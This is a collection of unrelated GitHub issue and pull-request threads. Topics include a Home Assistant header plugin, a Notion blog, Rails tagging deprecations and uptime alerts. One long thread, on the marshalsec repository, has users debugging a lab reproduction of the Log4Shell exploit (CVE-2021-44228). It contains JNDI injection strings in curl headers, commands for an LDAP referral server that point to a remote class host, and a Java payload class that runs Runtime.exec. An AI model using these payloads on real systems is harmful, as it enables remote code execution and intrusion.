DOWNGRADE от 1.4.3 парней.

Не могу сделать с новым HACS

same problem

If your issue is like mine then it's because you have conversation: commented out in your HA configuration.yaml. Unquoting it resolves this error for now but I'm sure maykar will address it properly when time permits. You can add voice_hide: true to your CH config to hide the icon for now.

If your issue is like mine then it's because you have conversation: commented out in your HA configuration.yaml. Unquoting it resolves this error for now but I'm sure maykar will address it properly when time permits. You can add voice_hide: true to your CH config to hide the icon for now.

Thank you, adding conversation: into my HA configuration.yaml allows customer header to come back!
Where is the file for the CH config to add voice_hide: true at? No rush, just happy to have tablets on walls working again right now.

Either raw configuration editor or yaml depending on which way you set it up.  Same place you defined all other CH options.

Either raw configuration editor or yaml depending on which way you set it up. Same place you defined all other CH options.

Hmmm, I just have done it all via the web UI -- I just use it to slim down the header across the board and that's it. I don't see a way via web UI to add anything other than exceptions?

Hide Voice Button toggle should do it.

@CorneliousJD

web UI

how to come on web UI?

@beliy1985
add conversation:
into my HA configuration.yaml allows customer header to come back!

Либо необработанный редактор конфигурации, либо yaml, в зависимости от того, как вы его настроили. Там же, где вы определили все остальные параметры CH.

Хммм, я только что сделал все это через веб-интерфейс - я просто использую это, чтобы уменьшить заголовок по всем направлениям и все. Я не вижу способ через веб-интерфейс добавить что-либо, кроме исключений?

How to enter such settings

Same config as everyone else.  Updated to 0.110.1 today.  Everything else is completely updated.  Running on rPi 3B+
Adding conversation: to configuration.yaml restore to header.  Please fix.  Have no need to the conversation integration.

This got fixed so fast I didn’t even notice it.
Thanks!

all hell broke loose, lost all my menu - reverted back to 1.3.8 menu is shown again -
DOWNGRADE from 1.4.3 guys.

Can't do with the new HACS

yes you can - simply click on reinstall on the 3dot icon, then choose a different version.

authors: CorneliousJD DanielPiccoli afxefx beliy1985 cjramseyer jazbraz juan11perez lancer73 sringaci stibe881 tteck userMak

repo: maykar/custom-header


text:
Option to remove menu arrows

Option to remove arrows below:

https://maykar.github.io/custom-header/#configuration/tabs
chevrons: false

Just found it, thanks. But still would be nice to have the option in the UI.

It is in the UI

Wow, thanks. I guess I am blind (and never heard of the word chevrons) ;)

authors: barrymossel maykar


text:
Notion中的Toggle List未支持

如果使用Toggle List，文章中仅仅会显示折叠时的小标题和三角，三角确实可点击但没有任何响应，源码中也没有折叠钓的内容。

此外，在Safari浏览器下存在Notion表格列数过多时越过页面边框的问题（下方滑动条消失）。

... 被发现了。这2个问题，我都遇到了。
Toggle List 的内容是异步加载的，只有点击之后才会抓取数据，渲染。puppeteer 可以做但是有点麻烦，特别是 Toggle List 嵌套的时候，这样会增加单个文章的抓取时间。建议文章中不使用 Toggle List。（或许我该写个表格，说明一下支持的 block 类型）
表格的显示问题，是因为 CSS overflow : scroll hidden 这样的写法在 Safari 上不兼容（会报错），旧版的 Edge 也有这个问题。
可能 Notion 之后还会出其它的 block，如果也存在问题，一个个的修复 CSS 太麻烦。我开始思考用 puppeteer 抓 html 是不是稍微重了一些，准备直接用数据渲染成 html。这里有个现成的解决方案 https://github.com/dragonman225/nast-util-from-notionapi 但是 block 的支持也不是很全面，CSS 也需要自己重新写。个人还是喜欢 Notion 原生的样式，所以这个想法暂缓了。
感谢反馈。有什么好的想法或者思路，欢迎讨论😀

OK，我自己研究一下先，辛苦啦！

表格的显示问题，我稍后修复一下。然后文档说明一下支持的 block。
最近在折腾 notion 自定义域名+ disqus 评论。如果想用 Notion 做博客，同时对 SEO 和自定义页面没什么特殊需求的话，可以采用这个方案。这里有个 Demo ：https://agodrich.com

表格的显示问题，我稍后修复一下。然后文档说明一下支持的 block。
最近在折腾 notion 自定义域名+ disqus 评论。如果想用 Notion 做博客，同时对 SEO 和自定义页面没什么特殊需求的话，可以采用这个方案。这里有个 Demo ：https://agodrich.com

感觉这个不错，有文档什么的吗？

目前还没有，我是准备这几天发的。是一个基于 Cloudflare Worker 的解决方案，应该可以满足做博客的基础需求。前身就是自定义域名，现在把 disqus 加上了，后面可能添加对其它第三方评论的支持，ga 什么的应该也都会有。
https://gine.me/posts/466ca19681634b09b123067f880ea396
https://gist.github.com/mayneyao/b9fefc9625b76f70488e5d8c2a99315d

表格的显示问题，我稍后修复一下。然后文档说明一下支持的 block。
最近在折腾 notion 自定义域名+ disqus 评论。如果想用 Notion 做博客，同时对 SEO 和自定义页面没什么特殊需求的话，可以采用这个方案。这里有个 Demo ：https://agodrich.com

感觉这个不错，有文档什么的吗？

@yorushika  https://gist.github.com/mayneyao/b9fefc9625b76f70488e5d8c2a99315d

authors: mayneyao yorushika

repo: mayneyao/gine-blog


text:
JoinedTable計算アルゴリズムの不備

現在のアルゴリズムだと

1つのテーブルに2つのテーブルがJoinされる
枝分かれの先にテーブルが2つ以上ある

の条件を満たしたテーブルがJoinedTableに出てこず、エラーになる。

出てこない条件がちょっと違っていた

現在のアルゴリズムでは、1個だけのテーブルがある状態から2テーブルがjoinされたテーブル、3テーブルがjoinされたテーブル、…というふうにjoin後のテーブルを計算している。
この時、2テーブルがjoinされたテーブルに1テーブルをくっつけることで3テーブルがjoinされたテーブルを作っている。
この際にエッジ(ref)の向きに関係なく1テーブルを追加する必要があるが、実際には片方の場合しか追加されていなかった。
このため、多くのjoin後のパターンが抜ける可能性がある。

repo: mazrean/genorm


text:
Marshalsec and webserver do not communicate

I'm trying to reproduce the exploit of CVE-2021-44228.
All is done and when i run the request, the LDAP server shows me
"Send LDAP reference result for Log4jRCE redirecting to myAddress:port/Log4JRCE.class"
but the python server does not shows the GET request and the code into the Log4jRCE.class is not fetched from the target machine.
The server is correctly up, and the link myAddress:port/Log4jRCE.class redirects me to the binary code correctly.
it seems that marshalsec tool and python webserver does not communicates.
What it could be??
Thank you for the support

It is only suitable for a few scenes, not for most scenes

-> https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

oh,That is, the Java version is not applicable and needs to be deserialized

I am having the same issue, for me, the "Send LDAP reference result for Log4jRCE redirecting to myAddress:port/Log4JRCE.class" comes up three times and the python server with the .class file doesn't get a GET request.

I am having the same issue, for me, the "Send LDAP reference result for Log4jRCE redirecting to myAddress:port/Log4JRCE.class" comes up three times and the python server with the .class file doesn't get a GET request.

Not yet solved for me. I'm using Java 1.8_0_181 on the attack machine, not a java version issue.
Any suggestion?

Same.  Seems like the LDAP reference doesn't actually take place.
Marshalsec:
Listening on 0.0.0.0:1389
Send LDAP reference result for Log4jRCE redirecting to http://10.0.0.1:8000/Log4jRCE.class

http server:
$ python -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...

Is the version of the target host and needs to be serialized

I'm using JDK 8u181 across the board, starting with the exploitable target workload, the LDAP referrer (marshalsec), and the payload class was compiled with JDK 8u181 (however irrelevant since the http server doesn't receive the GET).

I'm using JDK 8u181 across the board, starting with the exploitable target workload, the LDAP referrer (marshalsec), and the payload class was compiled with JDK 8u181 (however irrelevant since the http server doesn't receive the GET).

Also i think the same, because the payload is working and the LDAP server is contacted, the problem is when the request must be forwarded from LDAP server to HTTP server, that for my setting are on the same machine, no firewall, no restrictions.

Also i think the same, because the payload is working and the LDAP server is contacted, the problem is when the request must be forwarded from LDAP server to HTTP server, that for my setting are on the same machine, no firewall, no restrictions.

I'm in the same boat.  I've read mbechler's PSA and I don't really see what we could be missing

The bypass needs to generate a PoC to join the payload

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://evil/ LifExp

Curious why that wasn't necessary here: https://youtu.be/7qoPDq41xhQ?t=1016

Curious why that wasn't necessary here: https://youtu.be/7qoPDq41xhQ?t=1016

So have you solved the issue?

When targeting 8u181 this should work out of the box in my opinion. Regular Oracle/OpenJDK runtime? Security manager? How do you start the server?

@mbechler works with 8u181 thanks :)

When targeting 8u181 this should work out of the box in my opinion. Regular Oracle/OpenJDK runtime? Security manager? How do you start the server?

Here's my setup:
java -version
java version "1.8.0_181"
Java(TM) 64-Bit Server VM (build 25.181-b13, mixed mode)
Java HotSpot(TM) 64-Bit Server VM (build 25.181-b13, mixed)
The LDAP Server is started with the following syntax:
java -cp target/marshalsec-0.0.3-SNAPSHOT.all.jar marshalsec,jndi,LDAPRefServer http://127.0.0.1:8000/#RCE
The HTTP Server is started with the following syntax:
python3 -m http.server 8000
i'm on a centos7, for the test i have disabled selinux and firewalld

Still can't get it to make the connection.

Ubuntu 21.10
log4jpwn docker container is the exploited workload (exploit works fine)
Using JDK 8u181, properly linked
marshalsec jar is built with mvn using above jdk
Starting the LDAP Ref with this command: $ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Initiate exploit with: curl -v -H 'User-Agent: ${jndi:ldap://192.168.178.253:1389/Log4jRCE}' localhost:9696
marshalsec LDAP server receives the jndi reference and says it forwards it to the HTTP server, but it does not
No networking issue between the LDAP server and the HTTP server (same host) and also confirmed with curl

log4jpwn jetty server successfully exploited
$ curl -v -H 'User-Agent: ${jndi:ldap://192.168.178.253:1389/Log4jRCE}' localhost:9696
*   Trying ::1...
* TCP_NODELAY set
* Connected to localhost (::1) port 9696 (#0)
> GET / HTTP/1.1
> Host: localhost:9696
> Accept: */*
> User-Agent: ${jndi:ldap://192.168.178.253:1389/Log4jRCE}
>
< HTTP/1.1 200 OK
< Date: Tue, 14 Dec 2021 23:52:24 GMT
< Content-Type: text/html;charset=utf-8
< Transfer-Encoding: chunked
< Server: Jetty(9.4.z-SNAPSHOT)

LDAP server receives exploited JNDI reference
kenmac@flanders:~/log4j/marshalsec$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Listening on 0.0.0.0:1389
Send LDAP reference result for Log4jRCE redirecting to http://localhost:8889/Log4jRCE.class

No GET received by HTTP server
kenmac@flanders:~/log4j$ python3 -m http.server 8889
Serving HTTP on 0.0.0.0 port 8889 (http://0.0.0.0:8889/) ...

Local test of HTTP server reachability
kenmac@flanders:~$ curl http://localhost:8889/test123
....

Confirmed that the HTTP server is reachable from the same host
kenmac@flanders:~/log4j$ python3 -m http.server 8889
Serving HTTP on 0.0.0.0 port 8889 (http://0.0.0.0:8889/) ...

127.0.0.1 - - [15/Dec/2021 00:23:49] code 404, message File not found
127.0.0.1 - - [15/Dec/2021 00:23:49] "GET /test123 HTTP/1.1" 404 -

I took the debugging a step further to see if I could figure out the state of the LDAP referral and added the highlighted line below and recompiled marshalsec:

The same attempt now shows the LDAP search query result looking like this:
kenmac@flanders:~/log4j/marshalsec$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Listening on 0.0.0.0:1389
Send LDAP reference result for Log4jRCE redirecting to http://localhost:8889/Log4jRCE.class
Result:LDAPResult(resultCode=34 (invalid DN syntax), diagnosticMessage='Unable to perform the search because an error occurred while attempting to parse base DN 'Log4jRCE':  The provided string could not be decoded as a DN because no equal sign was found after the RDN attribute 'Log4jRCE'.')

Not sure what's wrong here.

Try ${jndi:ldap://192.168.178.253:1389/cn=Log4jRCE}

Try ${jndi:ldap://192.168.178.253:1389/cn=Log4jRCE}

@mbechler I tried ${jndi:ldap://192.168.71.130:7979/cn=Exploit} this and result is the same. Not redirecting.

cn=Log4jRCE
$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Listening on 0.0.0.0:1389
Send LDAP reference result for cn=Log4jRCE redirecting to http://localhost:8889/Log4jRCE.class
Result:LDAPResult(resultCode=32 (no such object), diagnosticMessage='Unable to perform the search because base entry 'cn=Log4jRCE' does not exist in the server.')

No DN at all:
curl -v -H 'User-Agent: ${jndi:ldap://192.168.178.253:1389}' localhost:9696

$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Listening on 0.0.0.0:1389
Send LDAP reference result for  redirecting to http://localhost:8889/Log4jRCE.class
Result:LDAPResult(resultCode=0 (success))

However, still no outbound connection made to HTTP server

$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Listening on 0.0.0.0:1389
Send LDAP reference result for  redirecting to http://localhost:8889/Log4jRCE.class
Result:LDAPResult(resultCode=0 (success))

Hm, that sound like unbound is still unhappy about the DN, maybe ${jndi:ldap://192.168.178.253:1389/cn=Log4jRCE,dc=example,dc=com}

If it helps I've only seen this when running an apache solr "as an example" on windows

I'm trying to reproduce the exploit of CVE-2021-44228. All is done and when i run the request, the LDAP server shows me "Send LDAP reference result for Log4jRCE redirecting to myAddress:port/Log4JRCE.class"
but the python server does not shows the GET request and the code into the Log4jRCE.class is not fetched from the target machine. The server is correctly up, and the link myAddress:port/Log4jRCE.class redirects me to the binary code correctly.
it seems that marshalsec tool and python webserver does not communicates.
What it could be?? Thank you for the support

I have the same issue, but sovled aftert I read this on API doc:
This class loader is used to load classes and resources from a search path of URLs referring to both JAR files and directories. Any URL that ends with a '/' is assumed to refer to a directory. Otherwise, the URL is assumed to refer to a JAR file which will be opened as needed.
the codebase need end with "/"

Same issue. java 8u181

@allenz92 thanks for the pointer, I did never try to figure out why that was not working in that case.
For every one else still having issues after considering all the mentioned conditions, it would be certainly interesting to figure out why that fails. You could debug the target process, the following call stack (this one is 8u181) would be the relevant part:
loadClass:83, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)

log4j 2.15 btw also moved to a getAttribute call instead of lookup, this also prevents following the Reference.

Appreciate the discussion thus far.  I'm just not sure what exactly need to be changed.

In summary ,when run marshalsec, the codebase need end with "/"

Does this mean ensuring that the codebase string provided marshalsec ends with a "/" just before the "#"?  In such a case, I've been doing this all along ("http://localhost:8889**/**#Log4jRCE"):
$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Listening on 0.0.0.0:1389
Send LDAP reference result for Log4jRCE redirecting to http://localhost:8889/Log4jRCE.class

No GET:
$ python3 -m http.server 8889
Serving HTTP on 0.0.0.0 port 8889 (http://0.0.0.0:8889/) ...

Yes,  the call looks good.

Do we consider the LDAP query result error problematic in this case? Or is this expected behavior even when the remote class is properly sourced from the remote codebase?

Hadn't checked yet, but no this does not seem to be the issue, I also see these in successful exploitation.

having exactly the same issues as @kenmccann
Running Ubuntu 20.04 and java 8u181
Have added debugs similar to above have Noticed the Entry: DN value is different when you don't pass class name

having exactly the same issues as @kenmccann Running Ubuntu 20.04 and java 8u181 Have added debugs similar to above have Noticed the Entry: DN value is different when you don't pass class name

@dextacy10-13 apparently the LDAP error expected.  Still not quite sure why the outbound connection is not occurring.

Just to reiterate and rule out potential misunderstandings, the direct factory remote classloading vector (in default configuration) will only work if the Java runtime performing the JNDI lookup, i.e. the exploited target, is running Java <8u191. (The version you run LDAPRefServer on does not matter).
If this is the case, then really, debugging the target is likely the only reasonable way to figure out what is happening.

log4j 2.15 btw also moved to a getAttribute call instead of lookup, this also prevents following the Reference.

Actually it only checks getAttributes for the class filter, but then if the Name matches (on the java class Attribute which is of course not safe to check) it still uses lookup())

Ah, right, missed that. Thanks for pointing that out.

your java verison should be lower than java8-u121 , otherwise the server will not request the http server. because a new option trustURLCodebase(default false) has been added to the higher version java.

John uses 8u181 across the board in his video and it seems to work fine.  Is he full of it?  https://youtu.be/7qoPDq41xhQ?t=1016

No 8u181 should still work with LDAP, u121  ist just relevant for RMI/CORBA.

Encountered same situation.
Target app: docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
(Log4j 2.14.1 (through spring-boot-starter-log4j2 2.6.1) and the JDK 1.8.0_181.)
Ldap server: marshalsec
codebase: python3 -m http.server 1763

Had a look: The debian u181 build (build 1.8.0_181-8u181-b13-2~deb9u1-b13) used by the openjdk u181 docker image has a backported security patch (patches/sec-webrev-8u191-b12-S8199177-jdk.patch)

Also, specifying http://127.0.0.1:1763/, if you haven't disabled network namespacing, likely is not working as you intended.
openjdk:8u181-alpine works,btw.

Hi,
I'm also experiencing this error. I debugged as far as I could and I land in this native method call in the end:
java.lang.Class#forName0() with these parameters:
name = "http://localhost:8081/payload"
initialize = true
loader = {TomcatEmbeddedWebappClassLoader@6837} "TomcatEmbeddedWebappClassLoader\r\n  context: ROOT\r\n  delegate: true\r\n----------> Parent Classloader:\r\nsun.misc.Launcher$AppClassLoader@18b4aac2\r\n"
caller = null

The return value I get is:
result = {ClassNotFoundException@6942} Method threw 'java.lang.ClassNotFoundException' exception.
 ex = null
 detailMessage = "http://localhost:8081/payload"

I see no GET request on the webserver listening on port 8081, so I assume the name format is just wrong. Maybe this helps narrowing it down?
Best regards

I think I'm just filling the LDAP response wrong. This is my setup:
e.addAttribute("javaClassName", "de.apwolf.log4shell.attacker.Attack");
e.addAttribute("javaCodeBase", "http://localhost:8081");
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", "http://localhost:8081#de.apwolf.log4shell.attacker.Attack");

I see no traffic towards port 8081 at all with Wireshark. So I think something is failing in the validation for the class loading, but I cannot figure out what it is.
In the victim application I see the log entry "Reference Class Name: de.apwolf.log4shell.attacker.Attack", so just the remote class loading seems to fail.

Yes, javaFactory should just be the classname

You're absolutely right, now the download is triggered. However the class is still not executed. If I put the class on the classpath manually I see the execution, so the class itself is fine.
These are my parameters now:
            e.addAttribute("javaClassName", "Attack");
            e.addAttribute("javaCodeBase", "http://localhost:8081");
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", "Attack");

My log string: ${jndi:ldap://127.0.0.1:1389/Attack}
My file server returns the compiled class under the file name "Attack.class". The JVM just performs a GET "http://localhost:8081/" which is successful.
I removed Java packages because I felt they were only making things harder.
I debugged into the URLClassLoader, and indeed the URL shows up, however the class is not loaded.
I'm currently wondering if maybe the .class ending is necessary in some cases? I tried a lot of permutations but none worked.

There is some magic to having a trailing slash at the URL or not: https://github.com/mbechler/marshalsec/issues/28#issuecomment-996581795

@daniomass did it work for you in the end ?

Appreciate the discussion thus far. I'm just not sure what exactly need to be changed.

In summary ,when run marshalsec, the codebase need end with "/"

Does this mean ensuring that the codebase string provided marshalsec ends with a "/" just before the "#"? In such a case, I've been doing this all along ("http://localhost:8889 / #Log4jRCE"):
$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Listening on 0.0.0.0:1389
Send LDAP reference result for Log4jRCE redirecting to http://localhost:8889/Log4jRCE.class

No GET:
$ python3 -m http.server 8889
Serving HTTP on 0.0.0.0 port 8889 (http://0.0.0.0:8889/) ...

I'm using this exact same command on 8u181 and I'm getting the same result (This is on macOS btw).  I've tried the proposed fixes from this thread but I still haven't managed to get my LDAP server to communicate with my HTTP. I have no trouble reaching the LDAP server via my vulnerable app.
Vulnerable App:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.util.Scanner;

public class VulnerableApp {
    public static void main(String[] args){
        Logger logger = LogManager.getLogger(VulnerableApp.class);
        Scanner scanner = new Scanner(System.in);
        while(true){
        System.out.println("Feedback?");
        String feedbackText = scanner.nextLine();
        logger.error("Someone had this to say: " + feedbackText);
        }
    }
}

Exploit:
public class Exploit {
    public static void main(String[] args){
        try{
            Runtime.getRuntime().exec("open /Applications/VLC.app/ ");
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}

Appreciate the discussion thus far. I'm just not sure what exactly need to be changed.

In summary ,when run marshalsec, the codebase need end with "/"

Does this mean ensuring that the codebase string provided marshalsec ends with a "/" just before the "#"? In such a case, I've been doing this all along ("http://localhost:8889 / #Log4jRCE"):
$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Listening on 0.0.0.0:1389
Send LDAP reference result for Log4jRCE redirecting to http://localhost:8889/Log4jRCE.class

No GET:
$ python3 -m http.server 8889
Serving HTTP on 0.0.0.0 port 8889 (http://0.0.0.0:8889/) ...

I'm using this exact same command on 8u181 and I'm getting the same result (This is on macOS btw). I've tried the proposed fixes from this thread but I still haven't managed to get my LDAP server to communicate with my HTTP. I have no trouble reaching the LDAP server via my vulnerable app.
Vulnerable App:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.util.Scanner;

public class VulnerableApp {
    public static void main(String[] args){
        Logger logger = LogManager.getLogger(VulnerableApp.class);
        Scanner scanner = new Scanner(System.in);
        while(true){
        System.out.println("Feedback?");
        String feedbackText = scanner.nextLine();
        logger.error("Someone had this to say: " + feedbackText);
        }
    }
}

Exploit:
public class Exploit {
    public static void main(String[] args){
        try{
            Runtime.getRuntime().exec("open /Applications/VLC.app/ ");
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}

Interestingly, I can get the request to show up when the requested class does not exist. See screenshots below:

I had to provide a Jar file with my webserver, not the class file directly. I suggest not using any Java packages for the exploit class, this way you can just zip the class file, rename the zip to jar and host this file.

@kaleidoscoperope I think you should change your target app. Try with this version of Ghidra :
https://github.com/NationalSecurityAgency/ghidra/releases/tag/Ghidra_10.0.3_build
And lauch it with Java SE Development Kit 11, at the end of this link :
https://www.oracle.com/fr/java/technologies/javase/jdk11-archive-downloads.html

You can put the payload string here :

@ndrsf @JonathanAppriou thanks for the suggestions! I think it wasn't working properly because my vulnerable app and my exploit were in the same project. Separating them gives me the intended results.

I just tried to put my vulnerable app in a virtual machine and tried using marshalsec to deliver my exploit to it. I got the same issue where the LDAP server receives the request but fails to redirect to the HTTP server. It works perfectly when the app is on my host machine, though. Do you have any idea what might be wrong?

It's your JAVA version

That was the issue; thank you!

The bug was fixed in later version of JDK, so use version like 8u112. I resolved the problem by changing to that version.

authors: 3rror101 JonathanAppriou Mylifeismyhome Sumiya1020 allenz92 bittervan daniomass dextacy10-13 ecki fullstackcainiao istern kaleidoscoperope kenmccann mbechler ndrsf rusnuker thereallry za233

repo: mbechler/marshalsec


text:
DWTv2 support and watchpoint improvements

The primary purpose of this PR is to add support for version 2 of the DWT as present in v8-M.
In addition, watchpoint related commands were added to the commander, and DWT gained a couple APIs used by those commands.
The new commander commands are:

watch
rmwatch
lswatch

An unlikely but possible bug was fixed in CortexM, where it would attempt to use the DWT object even if it didn't exist (i.e. not included in the MCU).

/morph test

repo: mbedmicro/pyOCD


text:
Clear Invalid Tag

How to clear the invalid Tag from the Tags Input, The user entered text is still present in the Tag Input control if it is invalid.

Currently there's no built-in way to do that. Version 3.0.0 will introduce a new property that will enable that, though.

Can this issue be closed?

Sure, thanks for the heads up!

Is there any work around for that?Cheer.

@mbenford as per you mentioned that clear invalid tags option will be introduced in version3.0.0.
We have 3.1.1 version now. Can you help me to clear invalid tags?
Thank you in advance?

authors: PratibhaP barathank mbenford zardaloop

repo: mbenford/ngTagsInput


text:
Fixed Cannot read property 'data' of undefined in case the entered in…

When user unput is iess than minLength i'm getting Cannot read property 'data' of undefined
Source bug: https://github.com/mbenford/ngTagsInput/issues/827

@shlomisas any reason you closed this instead of getting it merged in? I'm experiencing the same issue.

@shlomisas any reason you closed this instead of getting it merged in? I'm experiencing the same issue.

Yeh, bcs @mbenford doesn't merged it for a while and uts stuck on my open PR's :)

Coverage remained the same at 99.801% when pulling 91655f9d0122cddcf390178b7b7862b36cae52d5 on shlomisas:master into 87d0e6b695fd53d21f73357a1d3377ab569a78d0 on mbenford:master.

@mbenford , tests fixed - please merge when you can, others need it as well.
cc: @ewolfe

I self published this in the mean time https://github.com/ewolfe/ngTagsInput/packages/760239

Hey guys. Sorry for not replying sooner.
This project is no longer maintained, and I'm to blame for not making that clear. I strongly suggest that you guys either fork it or seek out another alternative. I'm sure there are amazing libraries out there.

authors: coveralls ewolfe mbenford shlomisas


text:
Incorrect book percentage on runner removal

During a runner removal prices are removed but runner is still active:

This code results in 1 being returned, ideally lay side is checked for prices as well before defaulting to 1.

It's not clear to me what the "correct" book percentage should be in this case. Any idea what the Betfair website displays?

it would be 113.4%, example here where empty prices are treated as 0 and not 1

Take a look at the PR

Fixed in the next release

authors: liampauling mberk

repo: mberk/betfairutil


text:
API: Add /autocomplete endpoint

Part of #160. This is more or less a straight passthrough to LinkDb.completeLink(), which passes through to RedisClient.completeLink().
Also moved the /api/search test to be part of the API block, and tweaked the error path in that API endpoint to avoid emitting Cannot read property 'then' of undefined output, as in:
https://travis-ci.org/mbland/custom-links/jobs/371712950

Coverage decreased (-0.02%) to 98.232% when pulling 383f7b43d87d20726cb1754e7d301215a2d644ef on autocomplete-api into 126a07696874c3d659654220595e03b5d075feb7 on master.

authors: coveralls mbland

repo: mbland/custom-links

license: isc


text:
DEPRECATION WARNING: Dangerous query method (method whose arguments are used as raw SQL) called with non-attribute argument(s): "max(taggings.created_at)"

Hi,
I'm trying to upgrade our rails application to version 5.2. I'm using the fork from @fodoj mentioned in pull request #887.
Using his pull request, the tests in our test suite which are related to acts-as-taggable-on are all back to green but we are getting a ton of deprecation warnings like the following:
DEPRECATION WARNING: Dangerous query method (method whose arguments are used as raw SQL)
called with non-attribute argument(s): "max(taggings.created_at)". Non-attribute arguments will be
disallowed in Rails 6.0. This method should not be called with user-provided values, such as request
parameters or model attributes. Known-safe values can be passed by wrapping them in Arel.sql().
(called from all_tags_on at /opt/rubies/ruby-2.5.0/lib/ruby/gems/2.5.0/bundler/gems/acts-as-
taggable-on-8a4d41bc3107/lib/acts_as_taggable_on/taggable/core.rb:179)

I gave it a try so I replaced line 179 in lib/acts_as_taggable_on/taggable/core.rb:179
scope.order("max(#{tagging_table_name}.created_at)").group(group_columns)

with
scope.order(Arel.sql("max(#{tagging_table_name}.created_at)")).group(group_columns)

and the deprecation warnings went away.

I will try to add your fix today/tomorrow to my PR, thanks a lot. I will also updates deps to Rails 5.2, so it can be merged finally.

@aalbagarcia I've introduced your fix, thanks a lot - https://github.com/mbleigh/acts-as-taggable-on/pull/887.

authors: Fodoj aalbagarcia

repo: mbleigh/acts-as-taggable-on


text:
The classed operator should allow multiple classes.

For example, classed("foo bar", true) should set both the "foo" and "bar" classes, rather than throwing an error.
/cc @rrust

Fixed in 2.3.3.

license: ISC


text:
Add basic antispam measure to contact form

Asana Ticket: Feedback Form | Address spam issues
This adds an invisible field to the contact form that must not be filled in for the submission to succeed. The image below has the field un-hidden for illustrative purposes (this is also how a screen reader might "see" it, which is why the label is important).

I was unable to get Wallaby testing working for this — I could be missing something, but there seems to be an issue with the library where telling it to fill in a non-visible field just doesn't work, but acts as though it worked. I used this code:
@tag :wallaby
test "Catches spam bots that fill every available field", %{session: session} do
  session
  |> visit("/customer-support")
  |> fill_in(css("#comments"), with: "Support Form Integration Test")
  |> click(css("label[for=\"service-Suggestion\"]"))
  |> fill_in(css("#leave-this-alone", visible: false), with: "spam!")
  |> click(@submit_button)
  |> assert_text("We had an issue submitting your feedback")
end

This "succeeds" at filling in the field, but fails on the assert_text, and inspecting the conn reveals that the field has an empty value as though it wasn't filled in.

@digitalcora Looks good to me, though for an example I would have gone with "You're not my real dad."

authors: digitalcora phildarnowsky

repo: mbta/dotcom


text:
Beautiful template!

Beautiful template! I'm tinkering around with doing a revealjs template as well so just wanted to let you know (if you don't already) that I wasn't able install yours:
(base) Andrews-MacBook-Pro:slide-demo andrewbray$ quarto install extension mcanouil/quarto-revealjs-coeos

Quarto extensions may execute code when documents are rendered. If you do not
trust the authors of the extension, we recommend that you do not install or
use the extension.
 ? Do you trust the authors of this extension (Y/n) › Yes
[✓] Downloading
[✓] Unzipping
    Found 0 extensions.
ERROR: Invalid extension
The extension staged at /var/folders/5q/lhhrhbyd2ygdptqypqt2mb4c0000gn/T/quarto-session77d9e5a3/f91c51c8/20e7c366/archive/staged does not provide any valid extensions.

Session info:
(base) Andrews-MacBook-Pro:slide-demo andrewbray$ quarto check

[✓] Checking Quarto installation......OK
      Version: 1.0.36
      Path: /Applications/quarto/bin

[✓] Checking basic markdown render....OK

[✓] Checking Python 3 installation....OK
      Version: 3.9.1
      Path: /usr/local/bin/python3
      Jupyter: 4.11.0
      Kernels: python3

[✓] Checking Jupyter engine render....OK

[✓] Checking R installation...........OK
      Version: 4.2.1
      Path: /Library/Frameworks/R.framework/Resources
      LibPaths:
        - /Library/Frameworks/R.framework/Versions/4.2/Resources/library
      rmarkdown: 2.14

[✓] Checking Knitr engine render......OK

Thanks for reporting the issue.
I fixed it. It was missing the _extension sub-directory.

authors: andrewpbray mcanouil

repo: mcanouil/quarto-revealjs-coeos


text:
🛑 ChatGenie Client API is down

In 9becd26, ChatGenie Client API ($CHATGENIE_CLIENT_API) was down:

HTTP code: 0
Response time: 0 ms

Resolved: ChatGenie Client API is back up in 1faea46.


text:
🛑 ChatGenie Client API is down

In d31a534, ChatGenie Client API ($CHATGENIE_CLIENT_API) was down:

HTTP code: 0
Response time: 0 ms

Resolved: ChatGenie Client API is back up in 9868c00.


text:
🛑 ChatGenie Client API is down

In 6747750, ChatGenie Client API ($CHATGENIE_CLIENT_API) was down:

HTTP code: 0
Response time: 0 ms

Resolved: ChatGenie Client API is back up in 76cd9b7.


text:
🛑 ChatGenie MiniApp API is down

In 75d6b89, ChatGenie MiniApp API ($CHATGENIE_BOT_API) was down:

HTTP code: 404
Response time: 225 ms

Resolved: ChatGenie MiniApp API is back up in 93d5bf9.


text:
🛑 ChatGenie Client API is down

In 1fb5af3, ChatGenie Client API ($CHATGENIE_CLIENT_API) was down:

HTTP code: 0
Response time: 0 ms

